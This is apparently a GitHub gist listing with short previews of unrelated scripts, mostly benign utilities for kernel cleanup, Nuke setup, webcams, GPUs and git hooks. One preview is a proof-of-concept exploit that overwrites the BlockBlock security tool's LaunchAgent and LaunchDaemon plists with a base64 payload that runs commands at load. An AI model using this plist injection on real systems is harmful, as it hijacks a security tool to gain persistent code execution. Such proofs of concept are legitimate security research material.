This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Kernel update verification and recovery script | |
| # Adds checks for free space on /boot and an optional automatic cleanup. | |
| # Enhancements: | |
| # - When run with --auto, will attempt additional heuristics to free space in /boot: | |
| # 1) remove old kernel packages (existing behavior) | |
| # 2) remove orphaned files in /boot that don't match any installed kernel | |
| # 3) as a last resort, archive the oldest non-active boot files to /var/tmp/boot-archive-<timestamp>.tar.xz | |
| # Note: Archiving moves files out of /boot but keeps them on the same filesystem if /var/tmp is on the rootfs. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| NUKE_DIR="$HOME/.nuke" | |
| PYTHON_DIR="$NUKE_DIR/python" | |
| GIZMOS_DIR="$NUKE_DIR/gizmos" | |
| PLUGINS_DIR="$NUKE_DIR/plugins" | |
| INIT_FILE="$NUKE_DIR/init.py" | |
| # Create .nuke directory if it doesn't exist | |
| if [ ! -d "$NUKE_DIR" ]; then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // LEDWallGrid - This script will create a grid of squares for an LED wall. | |
| // | |
| // Flip Phillips | |
| // Darren Alexander (from FidoLED) | |
| // | |
| // Winter 2024 | |
| // | |
| // (c) Darren Alexander 2015 | |
| // (c) Flip Phillips 2024 but released under the MIT license |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged) | |
| (> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist) | |
| # Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged) | |
| (> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import pandas as pd | |
| import cv2 | |
| url = "https://en.wikipedia.org/wiki/List_of_common_resolutions" | |
| table = pd.read_html(url)[0] | |
| table.columns = table.columns.droplevel() | |
| cap = cv2.VideoCapture(0) | |
| resolutions = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import tensorflow as tf #We need tensorflow 2.x | |
| import numpy as np | |
| #The hashlength in bits | |
| hashLength = 256 | |
| def buildModel(): | |
| #we can set the seed to simulate the fact that this network is known and doesn't change between runs | |
| #tf.random.set_seed(42) | |
| model = tf.keras.Sequential() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo nvidia-smi --power-limit=275 --id=0 | |
| sudo nvidia-smi --persistence-mode=1 --id=1 | |
| sudo nvidia-smi --persistence-mode=1 --id=0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "Before..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
| echo "Churning..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent' | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'vacuum LSQuarantineEvent' | |
| echo "After..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
| echo "Done." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| GetObserverIP[ip_] := Module[{wx, ins, raw}, | |
| wx = Import["http://" <> ip <> "/livedata.htm", "XMLObject"]; | |
| ins = Cases[wx, XMLElement["input", _, _], Infinity]; | |
| raw = Flatten[ | |
| Map[{"name" -> "value"} /. #[[2]] &, ins[[1 ;; -6]]]]; | |
| Quiet[MapAt[ToExpression, | |
| MapAt[DateObject[#] &, raw, {1, 2}], {8 ;; -1, 2}]]] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # | |
| # a git hook - | |
| # it does the silly things with my version.json files so I can keep track of silly stuff | |
| # | |
| # bump version and go... | |
| VERSIONFILE="version.json" | |
| if [ -e ./version.json ]; then |
NewerOlder